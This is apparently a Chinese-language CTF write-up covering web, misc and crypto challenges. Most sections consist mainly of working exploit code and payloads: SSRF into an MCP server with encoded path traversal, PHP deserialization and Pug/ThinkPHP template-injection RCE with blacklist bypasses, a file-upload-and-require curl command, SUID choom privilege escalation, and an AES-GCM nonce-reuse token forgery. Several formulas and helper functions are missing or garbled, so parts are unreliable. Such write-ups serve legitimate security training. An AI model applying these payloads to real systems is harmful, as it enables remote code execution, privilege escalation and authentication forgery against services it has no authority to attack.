web
nettool
目标环境包含多层服务架构:
- 外部入口 (Port 80): 面向用户的 Web 应用。
- 内部管理服务 (Port 5000): 运行在
127.0.0.1:5000,包含一个/admin/nettools接口,该接口允许发送 HTTP 请求(本身就是一个 SSRF 漏洞)。 - MCP 服务器 (Port 9000): 运行在
127.0.0.1:9000,是一个基于 JSON-RPC 的 MCP 服务器,通常用于给 AI 模型提供上下文工具和资源。
我们需要构造一个“双重 SSRF”攻击链:
User -> Port 80 (Web) -> Port 5000 (Admin NetTool) -> Port 9000 (MCP Server)
通过 SSRF 访问 MCP 服务器,我们利用 JSON-RPC 协议进行枚举。
初始化会话:
首先发送 initialize 请求建立连接并获取 Session ID。
发现 Flag 位置:
调用 prompts/list 方法:
{ "jsonrpc": "2.0", "method": "prompts/list", "id": 1}响应中包含一个名为 where_is_flag 的 prompt,其描述直接告诉我们 Flag 位于 /root/1ffflllaaaggg。
发现文件读取能力:
调用 resources/templates/list 方法:
{ "jsonrpc": "2.0", "method": "resources/templates/list", "id": 2}响应揭示了一个资源模板:
- URI Template:
base64://tmp/{filename} - 描述: “Get the /tmp file in base64 encoding.”
这意味着我们可以通过构造以 base64://tmp/ 开头的 URI 来读取 /tmp 目录下的文件。
直接尝试读取 base64://root/1ffflllaaaggg 会失败,因为该 URI 不匹配 base64://tmp/{filename} 模板。
我们需要利用 {filename} 参数进行路径遍历,以此访问 /tmp 目录之外的文件。
尝试 1 (失败):
Payload: base64://tmp/../root/1ffflllaaaggg
结果: 失败。MCP 服务器或底层库(如 httpx 或 anyio)可能对标准路径遍历字符 ../ 进行了规范化处理或拦截。
尝试 2 (成功 - URL 编码绕过):
我们将路径分隔符和点号进行 URL 编码:
Payload: base64://tmp/..%2froot%2f1ffflllaaaggg (其中 / 被编码为 %2f)
发送请求:
{ "jsonrpc": "2.0", "method": "resources/read", "params": { "uri": "base64://tmp/..%2froot%2f1ffflllaaaggg" }, "id": 3}服务器成功解析了编码后的路径,越权读取了 /root/1ffflllaaaggg 文件,并返回了 Base64 编码的内容。
exp:
read_payload = { "jsonrpc": "2.0", "method": "resources/read", "params": { "uri": "base64://tmp/..%2froot%2f1ffflllaaaggg" }, "id": 5002}
resp = send_double_ssrf("http://127.0.0.1:9000", method="POST", body=json.dumps(read_payload))content = parse_mcp_response(resp)flag_base64 = content['result']['contents'][0]['text']flag = base64.b64decode(flag_base64).decode()print(flag)r
打开题目链接,页面展示了 PHP 源码。核心逻辑如下:
-
入口点 :
$payload = $_GET['p'] ??'O:14:"RequestHandler":N';@unserialize($payload);存在反序列化漏洞,我们可以控制 $payload 。
-
目标类 RequestHandler :
- __construct() :初始化 $this->processor 为一个匿名类对象。这个匿名类的构造函数会调用 tmpfile() 创建一个文件句柄(Resource)。
- __destruct() :析构函数,会将 $this->action 当作回调函数执行。
-
匿名类逻辑 :
-
execute() :这是我们要达到的目标,它执行 system($_GET[‘cmd’]) 。
-
防御机制 :
if (!is_resource($this->handle)) {die("Invalid resourcestate<br>");}``` 它检查 $this->handle 是否为有效的资源。 -
序列化陷阱 :
public function __wakeup() {$this->handle = null;}``` 当对象被反序列化时, __wakeup 会被调用,将 $handle 置为 null 。而且,PHP 中 Resource 类型本身是无法被序列化的(序列化后会变成 int 0 或 null),所以直接反序列化得到的对象,其 handle 一定无效。
-
核心难点 :如何绕过 is_resource($this->handle) 的检查?
由于反序列化出来的对象 handle 必定无效,我们需要让代码 在服务端现场运行 __construct() ,生成一个新的、带有有效 Resource 的匿名对象,并让析构函数调用这个新对象的 execute 方法。
利用链构造 :
- 我们需要两个 RequestHandler 对象,记为 A 和 B。
- 利用 A 的析构函数 ( __destruct ) 去调用 B 的构造函数 ( __construct )。
- 设置 A 的 b, “__construct”] 。
- 这样当脚本结束 A 被销毁时,B 会重新初始化,B 内部的 $processor 会被赋值为一个 全新的、带有有效 Resource 的匿名对象 。
- 利用 B 的析构函数去执行这个新对象的 execute 方法。
- 设置 B 的 action 为 [& \b->processor, “execute”] 。
- 关键点 :这里必须使用 引用 ( & )。
- 如果不由引用, processor (即 null 或无效对象)。
- 使用引用后,当 A 触发 B->__construct() 更新了 B->processor 时, B->action 数组中的第一个元素也会随之指向这个新的匿名对象。
- 当 B 析构时,执行 b->processor->execute() ,此时检查通过,命令执行。
<?php
class RequestHandler { public $processor; public $action;}
// 对象 B:负责执行命令$b = new RequestHandler();// 这里的 processor 先占位,反序列化后会是null$b->processor = null;// 关键:将 action 的第一个元素设为对processor 的引用// 这样当 B->__construct 被调用,processor更新时,action 也会指向新的 processor$b->action = [&$b->processor, "execute"];
// 对象 A:负责触发 B 的重置$a = new RequestHandler();// A 析构时调用 B 的构造函数$a->action = [$b, "__construct"];$a->processor = null;
echo urlencode(serialize($a));http://web-968f16e3be.challenge.xctf.org.cn:80/?cmd=cat /flag&p=[生成的Payload]执行结果显示: flag{khL93MLMhRMo4wtUvcWxOTxIEQ9aaDrh}react

ezjs
这道题目主要包含两个漏洞利用点: Prototype Pollution (原型链污染) 和 SSTI (服务端模板注入) 。
- 题目分析与源码审计 通过扫描发现源码泄露(或题目直接提供源码),主要逻辑在 app.js 和 package.json 中。
-
package.json :
"dependencies": {"json5": "2.2.1","pug": "^3.0.2",...}注意到使用了 json5 库,版本 2.2.1 存在已知的原型链污染漏洞。
-
app.js (登录逻辑) :
app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user = JSON5.parse(userinfo) // 漏洞点1:使用 JSON5 解析if (waf(user, ['admin'])) { // WAF检查req.session.user = userif(req.session.user.admin ==true){ // 目标:让这里为 truereq.session.user = 'admin'res.send('hello,admin')}...waf 函数只检查 Object.keys(obj) ,即对象自身的属性。
-
app.js (渲染逻辑) :
app.post('/render',(req,res)=>{if (req.session.user === 'admin'){var word = req.body.wordconst blacklist = ['require','exec'] // 黑名单// ... 黑名单检查 ...var hello = 'welcome ' + wordres.send(pugjs.render(hello)) // 漏洞点2:Pug 模板注入}...``` 2. 漏洞利用步骤第一步:利用 Prototype Pollution 绕过登录验证
由于 waf 只检查对象自身的 key,我们可以利用 json5 的漏洞污染原型链,给 Object.prototype 添加 admin 属性。这样 user 对象本身没有 admin 属性(绕过 WAF),但读取 user.admin 时会从原型链上获取到 true (通过验证)。
-
Payload (POST /login) :
{"__proto__": {"admin": true}}``` 发送此请求后,服务器会设置包含 admin 权限的 Session。第二步:利用 SSTI 读取 Flag
获取 Admin Session 后,可以访问 /render 接口。这里存在 Pug 模板注入,但过滤了 require 和 exec 关键字。我们可以利用字符串拼接来绕过黑名单,并通过 Node.js 的 child_process 执行系统命令。
-
绕过思路 : 使用 global.process.mainModule.require (或 root.process… ) 来引入模块。 将 require 拆分为 ‘re’ + ‘quire’ 来绕过字符串检测。
-
Payload (POST /render) :
{"word": "#{global.process.mainModule['re'+'quire']('child_process').spawnSync('cat',['/flag']).stdout.toString()}"}exp
import requests
url = "http://web-6704f79fa6.challenge.xctf.org.cn:80"s = requests.Session()
# 1. Prototype Pollution 登录headers = {"Content-Type": "application/json"}data_login = '{"__proto__": {"admin":true}}'s.post(f"{url}/login", data=data_login,headers=headers)
# 2. SSTI 读取 Flag# 构造 Payload: global.process.mainModule.require('child_process').spawnSync('cat',['/flag']).stdout.toString()payload = "#{global.process.mainModule['re'+'quire']('child_process').spawnSync('cat', ['/flag']).stdout.toString()}"data_render = {"word": payload}
response = s.post(f"{url}/render",json=data_render)
print(response.text)# Flag : flag{1grCxYZ1Wn6NAdObTj6v9NyhutotukTo}easy-lua
题目提供了一个 “Online Lua Executor” 网页,允许用户输入 Lua 代码并在服务端执行。我们的目标是利用这个执行环境找到并读取 Flag。首先,我们需要了解 Lua 运行环境中都有哪些可用的函数和变量。我们可以通过遍历 Lua 的全局表 _G 来查看环境信息。
Payload (Lua代码):
for k,v in pairs(_G) do print(k,v)end执行结果分析: 在输出的全局变量列表中,除了标准的 print , table , string 等库函数外,我们发现了几个非标准的自定义函数:
- getFileList : 看起来用于获取文件列表
- getFileContent : 看起来用于获取文件内容
- S3cr3t0sEx3cFunc : 这个名字非常可疑 (Secret Exec Func),暗示可能是一个用于执行命令的后门函数。
我们重点关注 S3cr3t0sEx3cFunc ,尝试猜测它的功能。通常这类 CTF 题目中的 “Exec” 函数是指执行系统 Shell 命令。
Payload:
print(S3cr3t0sEx3cFunc("whoami"))执行结果:
root返回了 root ,这证实了该函数存在 RCE (远程代码执行) 漏洞,并且我们拥有 root 权限。
现在我们可以执行任意命令,接下来就是寻找 flag 文件。
步骤 1: 查找 Flag 文件位置 使用 find 命令在整个系统中搜索名称包含 “flag” 的文件。
Payload:
print(S3cr3t0sEx3cFunc("find / -nameflag*"))执行结果:
/flag... (其他包含flag的系统文件)我们发现根目录下有一个 /flag 文件。
步骤 2: 读取 Flag 内容 使用 cat 命令读取该文件。
Payload:
print(S3cr3t0sEx3cFunc("cat /flag"))flag{aQWDVMBMW0jx3by8tRm9DUPO720Aw4r9}renderme
访问目标网站,发现 URL 参数 ?name=... 会被回显在页面上。
尝试输入 {{7*7}},页面报错,暴露出使用了 ThinkPHP 8.1.3 框架。
通过 ThinkPHP 的报错信息或尝试读取源码,我们确认了 index.php 的内容。使用 php://filter 伪协议读取 index.php 源码(需要绕过 WAF,或者直接盲测):
// 关键代码逻辑$blacklist = '/system|exec|passthru|shell_exec|popen|proc_open|include|pcntl|eval|assert|call_user_func|create_function|putenv|getenv|error_log|dl|mail|symlink|link|chroot|scandir|dir|glob|readfile|file_get_contents|highlight_file|show_source|fopen|flag|cat|php|\(|\)|\'|\"|`/i';if (preg_match($blacklist, $name)) { die("Hacker detected!...");}return View::display("Hello, " . $name);代码直接将用户输入传入 View::display,导致了 Server-Side Template Injection (SSTI) 漏洞。
但是存在一个非常严格的黑名单,过滤了几乎所有命令执行函数、括号 ()、引号 ''"" 以及 flag 关键字。
由于无法直接调用函数(括号被过滤),我们需要寻找不使用括号的执行方式。
ThinkPHP 的模板引擎支持标签语法。我们可以利用 {if} 和 {foreach} 标签。
为了执行任意代码,我们采用 文件上传 + 文件包含 的策略:
- 构造一个 POST 请求,上传一个包含恶意 PHP 代码的文件(例如
payload.php)。 - 在 URL 的
name参数中,利用 ThinkPHP 模板标签遍历$_FILES数组,获取上传文件的临时路径。 - 利用
require包含这个临时文件(require在 PHP 中是语言结构,不需要括号,且不在黑名单中)。
?name={foreach $_FILES as $f}{foreach $f as $k=>$v}{foreach $_POST as $p}{if $k==$p}{if require $v}X{/if}{/if}{/foreach}{/foreach}{/foreach}- 外层循环遍历
$_FILES。 - 内层循环遍历文件属性。
- 配合 POST 参数
target=tmp_name,当找到tmp_name键时,执行require $v(即包含临时文件)。
Payload.php 内容:
<?phpsystem('id'); // 测试命令?>攻击命令:
curl -g "http://TARGET/?name={foreach%20\$_FILES%20as%20\$f}{foreach%20\$f%20as%20\$k=>\$v}{foreach%20\$_POST%20as%20\$p}{if%20\$k==\$p}{if%20require%20\$v}X{/if}{/if}{/foreach}{/foreach}{/foreach}" -F "file=@payload.php" -F "target=tmp_name"成功执行命令,获得 www-data 权限。
提权
获得 Shell 后,尝试读取 /flag 或 /root/flag 失败(权限不足)。
进行信息收集,查找具有 SUID 权限的文件:
find / -perm -4000 2>/dev/null输出结果中包含:
/usr/bin/choom.../usr/bin/choom 是一个用于调整进程 OOM-killer 评分的工具。通常它不需要 SUID 权限。
检查其权限:
ls -la /usr/bin/choom# -rwsr-xr-x 1 root root ...发现它是 SUID root 的。
利用 choom 执行命令:
choom 可以运行命令,如果它有 SUID 权限,运行的命令将继承 root 权限。
测试提权:
/usr/bin/choom --adjust 0 id# uid=33(www-data) gid=33(www-data) euid=0(root) ...可以看到 euid=0(root),提权成功。
利用 root 权限读取 flag:
/usr/bin/choom --adjust 0 cat /root/flagflag{xINPqcZCdNoGOxoOHb9GcmPVry30ClWu}
insph
<?phperror_reporting(0);session_start();// ... (定义了 FileUpload, FileView, UserLogin, SystemTool 等类) ...
// 数据处理if (isset($_GET['data'])) { $data = $_GET['data']; // 黑名单过滤 if (preg_match("/zip|phar|uploads/i", $data)){ exit("Don't use dangerous protocol!"); } // 关键漏洞点:读取 data 指向的内容并写回 data 指向的路径 file_put_contents($data, file_get_contents($data)); echo "Data processed successfully!"; exit;}?>漏洞点:file_put_contents($data, file_get_contents($data));?data=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=shell.phpfile_get_contents 解析伪协议,执行我们构造的编码转换链,最终生成了 这个字符串。file_put_contents 将生成的字符串写入到 shell.php 执行命令,可得flag
misc
Protocol
协议逆向分析,通过对服务端的交互和回显分析,我们还原了私有协议的头部结构。协议基于 TCP + SSL/TLS 传输,所有数据包采用如下的小端序(Little-Endian)结构:
struct Header { char magic[4]; // 0xe6, 0x13, 0x04, 0x34 uint8_t version; // 0x78 uint8_t type; // 包类型 (0x01=Handshake, 0x03=Plaintext) uint64_t timestamp; // 8字节时间戳 uint16_t seq; // 2字节序列号 uint32_t length; // 4字节包体长度};每个数据包之后通常跟随一个 \n 换行符作为结束/分隔。关键逻辑:Sequence Number (Seq),协议要求严格的序列号同步。服务端和客户端维护同一个 seq 计数器:
- 每次发送或接收数据包,
seq都会递增。 - 在一个完整的请求-响应(Roundtrip)中,
seq会增加 2(发送+1,接收+1)。 - 如果
seq不匹配,连接会被服务端断开。
接下来是密钥协商
发送 help 命令可以看到 negotiate 选项,提示使用 Diffie-Hellman (DH) 进行密钥交换。
DH 参数
通过分析或尝试标准组,确认使用的是 RFC 3526 Group 5 (1536-bit) 标准参数。
- P: RFC 3526 定义的 1536-bit 素数。
- G: 生成元 2。
协商流程
- 客户端发送: 构造 DH 公钥 ,将 转换为 192 字节(大端序),通过
TYPE_HANDSHAKE (0x01)数据包发送。 - 服务端响应: 返回其 DH 公钥 (192 字节)。
- 计算共享密钥: 客户端计算共享密钥 。
密钥派生
通过对已知明文(如 help 命令的加密响应)或离线爆破,确定会话密钥的派生方式为:
即取共享密钥的大端字节序的 SHA256 哈希值作为 AES 密钥。
在协商完成后,发送 readflag 命令(可以使用 TYPE_PLAINTEXT 类型发送明文请求)。服务端会返回一段加密数据。
加密分析
通过观察加密数据的长度和特征(无填充特征,长度变化),推测使用流加密或 GCM 模式。 对加密的 Flag 响应包体进行分析:
- Nonce (IV): 包体的前 12 字节。
- Tag: 包体的最后 16 字节。
- Ciphertext: 中间部分。
这符合 AES-GCM 的标准结构。
解密步骤
- 提取 Nonce, Ciphertext, Tag。
- 使用派生的 Session Key 和 AES-GCM 模式进行解密。
- 获得明文 Flag。
# 1. 建立 SSL 连接并同步 Sequencemagic, ver, ptype, ts, seq, body = recv_pkt(ss)
# 2. 发送 DH 公钥 Aa = bytes_to_long(os.urandom(192)) % (P - 1)A = pow(G, a, P)send_pkt(ss, ts, seq + 1, TYPE_HANDSHAKE, long_to_bytes(A, 192))
# 3. 接收公钥 B 并计算 Session Key_, _, _, rts, rseq, B_bytes = recv_pkt(ss)B = bytes_to_long(B_bytes)S = pow(B, a, P)session_key = sha256(long_to_bytes(S, 192)).digest()
# 4. 发送 readflag 请求send_pkt(ss, rts, rseq + 1, TYPE_PLAINTEXT, b'readflag')
# 5. 接收并解密 Flag (AES-GCM)_, _, _, _, _, enc_body = recv_pkt(ss)nonce = enc_body[:12]ciphertext = enc_body[12:-16]tag = enc_body[-16:]cipher = AES.new(session_key, AES.MODE_GCM, nonce=nonce)flag = cipher.decrypt(ciphertext)print(flag)# flag{QkIyDyHKvsf21le0jy4BgHS4L0lAWFcf}crypto
Loss N
1. 恢复
RSA 的核心关系式为: 这意味着存在一个整数 ,满足:e \cdot d - 1 = k \cdot \phi(n)$$
由于 比较小, 的取值范围大致在 之间。我们可以通过爆破 来尝试恢复 :
2. 分解 得到
根据题目条件 ,说明 和 非常接近。 因此,我们可以通过对 开方得到 的近似值:
3. 搜索与验证
我们计算出的 会略大于或等于真实的 (因为 其实 依然成立,但 略小于 若 )。更精确地说,由于 ,则 ,所以 。我们可以从 开始向下小范围搜索 。
对于每一个猜测的 :
- 验证 是否能整除 。
- 计算对应的 。
- 验证 和 是否均为素数。
- 验证是否满足 。
exp
from Crypto.Util.number import long_to_bytesimport gmpy2
# 题目数据c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373e = 0x10001
print("正在搜索 k...")
# 遍历 k 来寻找 phifor k in range(1, e): if (e * d - 1) % k == 0: phi = (e * d - 1) // k
# 利用 phi 近似计算 p # phi = (p-1)(q-1) approx p^2 p_approx = gmpy2.isqrt(phi)
# 在近似值附近搜索 p p = p_approx for i in range(20000): if phi % (p - 1) == 0: q_minus_1 = phi // (p - 1) q = q_minus_1 + 1
# 验证素数和 next_prime 条件 if gmpy2.is_prime(p) and gmpy2.is_prime(q): if q == gmpy2.next_prime(p): print(f"找到 k = {k}") print(f"p = {p}") print(f"q = {q}") n = p * q m = pow(int(c), int(d), int(n)) try: flag = long_to_bytes(m) print(f"Flag: {flag.decode()}") exit(0) except: pass p -= 1# flag{Y0u_kNow_h0w_7o_f4cTor1z3_phI}ComCompleXX
题目实现了一个基于四元数(Quaternion)环上的 RSA 密码系统。
- ,其中 为 512 位素数。
- 是公钥指数,非常大(约 3070 位)。
- 是私钥指数,题目提示
d_len: 500,即 只有 500 位左右。 - 加密过程:,运算在四元数环上进行。
在四元数环 中,群的阶(Order)与 and 有关。 具体来说,该群的指数(Exponent,即所有元素的阶的最小公倍数) 为:
近似来看:
根据 RSA 的解密条件: 即存在整数 使得:
由于 且 ,我们可以推测 。 又因为 非常小(500位),这符合 Wiener’s Attack(维纳攻击)的场景。我们可以利用连分数展开 来寻找 。
更精确地分析 :
代入 :,
由于 ,故 ,这是一个非常小的项,不影响连分数攻击的有效性。
-
连分数攻击: 对 进行连分数展开,计算渐进分数,作为 的候选值。
-
恢复 : 对于每一组候选 ,我们可以估算 的一部分。 由 ,其中 。我们有 。从而可以计算出 。
有了 和 ,我们可以构造一元二次方程求解 和 :,解出 后开方即可得到 ,进而得到 。
-
解密: 得到 后,计算准确的 。计算私钥 。使用私钥对密文进行四元数幂模运算解密。
利用连分数恢复 。
from Crypto.Util.number import *import math
n =e =
def continued_fraction(numerator, denominator): while denominator: q = numerator // denominator yield q numerator, denominator = denominator, numerator % denominator
def convergents(cf): n0, d0 = 0, 1 n1, d1 = 1, 0 for q in cf: n2, d2 = q * n1 + n0, q * d1 + d0 yield n2, d2 n0, d0 = n1, d1 n1, d1 = n2, d2
def is_perfect_square(n): if n < 0: return False x = int(math.isqrt(n)) return x * x == n
def solve_quadratic(a, b, c): # ax^2 + bx + c = 0 delta = b*b - 4*a*c if delta < 0: return None if not is_perfect_square(delta): return None sqrt_delta = math.isqrt(delta) if ( -b + sqrt_delta ) % (2*a) == 0: return ( -b + sqrt_delta ) // (2*a) return None
cf = continued_fraction(e, n**3)convs = convergents(cf)
for K, d in convs: if d == 0: continue if K == 0: continue
# Check if d is around 500 bits if d.bit_length() > 510: # We can stop if d gets too large, but let's check a bit further just in case if d.bit_length() > 520: break
# Y = (ed - 1) / K # Y = n^3 - n(p^2+q^2) + n # n(p^2+q^2) = n^3 + n - Y
if (e*d - 1) % K != 0: continue
Y = (e*d - 1) // K val = n**3 + n - Y if val % n != 0: continue
sum_sq = val // n # p^2 + q^2
# We have p^2 + q^2 = sum_sq # We have p^2 * q^2 = n^2 # Z^2 - sum_sq * Z + n^2 = 0 (roots are p^2, q^2)
res = solve_quadratic(1, -sum_sq, n**2) if res: p2 = res if is_perfect_square(p2): p = math.isqrt(p2) if n % p == 0: print(f"Found p: {p}") q = n // p print(f"Found q: {q}")
# Verify d # We need to construct the QN class and decrypt breakelse: print("Failed to find p, q")利用恢复的 解密 flag。
from Crypto.Util.number import *
n =e =c_tuple =
p =q =
class QN: def __init__(self, a, b, c, d, n): self.a = a % n self.b = b % n self.c = c % n self.d = d % n self.n = n def __mul__(self, other): if isinstance(other, QN) and self.n == other.n: n = self.n a1, b1, c1, d1 = self.a, self.b, self.c, self.d a2, b2, c2, d2 = other.a, other.b, other.c, other.d a = (a1*a2 - b1*b2 - c1*c2 - d1*d2) % n b = (a1*b2 + b1*a2 + c1*d2 - d1*c2) % n c = (a1*c2 - b1*d2 + c1*a2 + d1*b2) % n d = (a1*d2 + b1*c2 - c1*b2 + d1*a2) % n return QN(a, b, c, d, n) return NotImplemented def __pow__(self, exp): if exp <= 0: return QN(1, 0, 0, 0, self.n) result = QN(1, 0, 0, 0, self.n) base = self while exp > 0: if exp & 1: result = result * base base = base * base exp >>= 1 return result def __repr__(self): return f"({self.a}, {self.b}, {self.c}, {self.d})"
def LCM(a, b): return abs(a*b) // GCD(a,b)
lam_p = p * (p**2 - 1)lam_q = q * (q**2 - 1)lam = LCM(lam_p, lam_q)
d = inverse(e, lam)print(f"Recovered d bits: {d.bit_length()}")
c = QN(c_tuple[0], c_tuple[1], c_tuple[2], c_tuple[3], n)m = pow(c, d)
try: print(long_to_bytes(m.a))except: print("Failed to convert m.a to bytes") print(m.a)
# flag{Qu4t3rNion_l5_S0_6rea7_&_Ch4rm1n9}POC
- 服务器提供了一个
PaddingOracleClass类。 - 用户可以更新
nonce,每次更新后cnt重置为 2。 register和login操作都会消耗cnt。- 漏洞点:在同一个
nonce下,我们可以进行两次register操作。这意味着我们可以获得两组使用相同 Key 和 Nonce 加密的 (Ciphertext, Tag) 对。
漏洞原理
AES-GCM 是一种流加密模式(CTR)加上认证(GMAC)。
-
加密 (Encryption): Keystream 由 Key 和 Nonce 生成。如果 Key 和 Nonce 不变,Keystream 也不变。
-
认证 (Authentication): GCM 的 Tag 计算基于 GHASH 函数: 其中 是认证密钥, 是用于掩盖 Tag 的掩码。
对于单块(或忽略长度块影响的简化模型),GHASH 大致结构为多项式求值。在本题中,没有关联数据 (AAD),且假设我们关注密文块的影响。 (注:实际 GCM 多项式更复杂,包含长度块 L,但在差分时常数项和相同长度的 L 会抵消)
攻击路径
第一步:恢复认证密钥 H
当我们使用相同的 Nonce 注册两个不同的用户名时:
- 第一组:
- 第二组:
由于 Nonce 相同, 相同。
利用 GCM 的线性性质(在 GF(2^128) 上):
由此我们可以解出 ,进而求平方根得到 :
第二步:伪造 Admin Token
得到 后,我们就可以伪造任意密文的 Tag。
-
更新 Nonce(重置
cnt),并注册一个新的随机用户 ,得到 。 -
获取密钥流:
-
伪造密文: 目标明文
-
伪造 Tag: 利用已知的 和目标 计算差分:
-
发送伪造的 Token 进行登录,即可通过验证并获取 Flag。
exp
我们需要实现 上的运算(加法、乘法、求逆、开方)。
- 运算库
def bytes_to_long(b): return int.from_bytes(b, 'big')
def long_to_bytes(n): return n.to_bytes(16, 'big')
class GField:
def __init__(self, val=0): self.val = val
def __add__(self, other): return GField(self.val ^ other.val)
def __mul__(self, other): x = self.val y = other.val res = 0 for i in range(128): if (y >> (127 - i)) & 1: res ^= x if x & 1: x = (x >> 1) ^ 0xE1000000000000000000000000000000 else: x >>= 1 return GField(res)
def pow(self, n): res = GField(1 << 127) pass
def gcm_mul(a, b): # a and b are 128-bit integers p = 0 for i in range(128): if (b >> i) & 1: p ^= a if (a >> 127) & 1: a = (a << 1) ^ 0xE1 else: a <<= 1
return p
def gf_mult(x, y):
p = 0 for i in range(128): if (y >> i) & 1: p ^= x if (x >> 127) & 1: x = (x << 1) ^ 135 else: x <<= 1 return p
def reverse_bits(n): # Reverse bits of 128-bit integer s = bin(n)[2:].zfill(128) return int(s[::-1], 2)
def gcm_to_poly(n): return reverse_bits(n)
def poly_to_gcm(n): return reverse_bits(n)
# Now standard arithmetic:def gf_mul(a, b): p = 0 mask = (1 << 128) - 1 for i in range(128): if (b >> i) & 1: p ^= a if (a >> 127) & 1: a = ((a << 1) ^ 135) & mask else: a = (a << 1) & mask return p
def gf_pow(a, n): res = 1 while n > 0: if n % 2 == 1: res = gf_mul(res, a) a = gf_mul(a, a) n //= 2 return res
def gf_inv(a): # a^(2^128 - 2) return gf_pow(a, (1 << 128) - 2)
def gf_sqrt(a): # a^(2^127) return gf_pow(a, 1 << 127)- 攻击脚本
from pwn import *from Crypto.Util.Padding import padfrom gcm_util import gcm_to_poly, poly_to_gcm, gf_mul, gf_inv, gf_sqrt, bytes_to_long, long_to_bytes
context.log_level = 'info'
def xor_bytes(a, b): return bytes(x ^ y for x, y in zip(a, b))
def solve(): r = remote("pwn-c46f6a2305.challenge.xctf.org.cn", 9999, ssl=True)
def update_nonce(nonce_bytes): r.sendlineafter(b'>', b'U') r.sendlineafter(b'nonce(hex)>', nonce_bytes.hex().encode())
def register(): r.sendlineafter(b'>', b'R') r.recvuntil(b"Register!\n") token_hex = r.recvline().strip() username_hex = r.recvline().strip() token = bytes.fromhex(token_hex.decode()) username = bytes.fromhex(username_hex.decode()) return token, username
def login(token_bytes): r.sendlineafter(b'>', b'L') r.sendlineafter(b'token(hex)>', token_bytes.hex().encode()) res = r.recvline() # Login! if b"Login!" in res: try: flag = r.recvall(timeout=2) print("Flag received:") print(flag.decode()) except: print("No flag or connection closed.") else: print(f"Login response: {res}")
# Step 1: Nonce 1 nonce1 = os.urandom(12) update_nonce(nonce1)
# Register twice token1, u1 = register() c1 = token1[:16] t1 = token1[16:] p1 = pad(u1, 16)
token2, u2 = register() c2 = token2[:16] t2 = token2[16:] p2 = pad(u2, 16)
log.info("Got 2 pairs from nonce 1")
# Recover H poly_t1 = gcm_to_poly(bytes_to_long(t1)) poly_t2 = gcm_to_poly(bytes_to_long(t2)) poly_c1 = gcm_to_poly(bytes_to_long(c1)) poly_c2 = gcm_to_poly(bytes_to_long(c2))
diff_t = poly_t1 ^ poly_t2 diff_c = poly_c1 ^ poly_c2
inv_diff_c = gf_inv(diff_c) h2 = gf_mul(diff_t, inv_diff_c) h = gf_sqrt(h2)
log.info(f"Recovered H: {hex(poly_to_gcm(h))}")
# Step 2: Nonce 2 nonce2 = os.urandom(12) update_nonce(nonce2)
# Register once token3, u3 = register() c3 = token3[:16] t3 = token3[16:] p3 = pad(u3, 16)
# Forge target_p = pad(b"admin", 16) keystream = xor_bytes(c3, p3) target_c = xor_bytes(target_p, keystream)
poly_t3 = gcm_to_poly(bytes_to_long(t3)) poly_c3 = gcm_to_poly(bytes_to_long(c3)) poly_target_c = gcm_to_poly(bytes_to_long(target_c))
diff_c_new = poly_target_c ^ poly_c3 delta_t = gf_mul(diff_c_new, h2)
poly_target_t = poly_t3 ^ delta_t target_t = long_to_bytes(poly_to_gcm(poly_target_t))
fake_token = target_c + target_t
log.info("Forged token. Logging in...") login(fake_token)
if __name__ == "__main__": solve()# flag{Dv16jo7D5Lo2Z8HJMcjBpgWe41ur6hnu}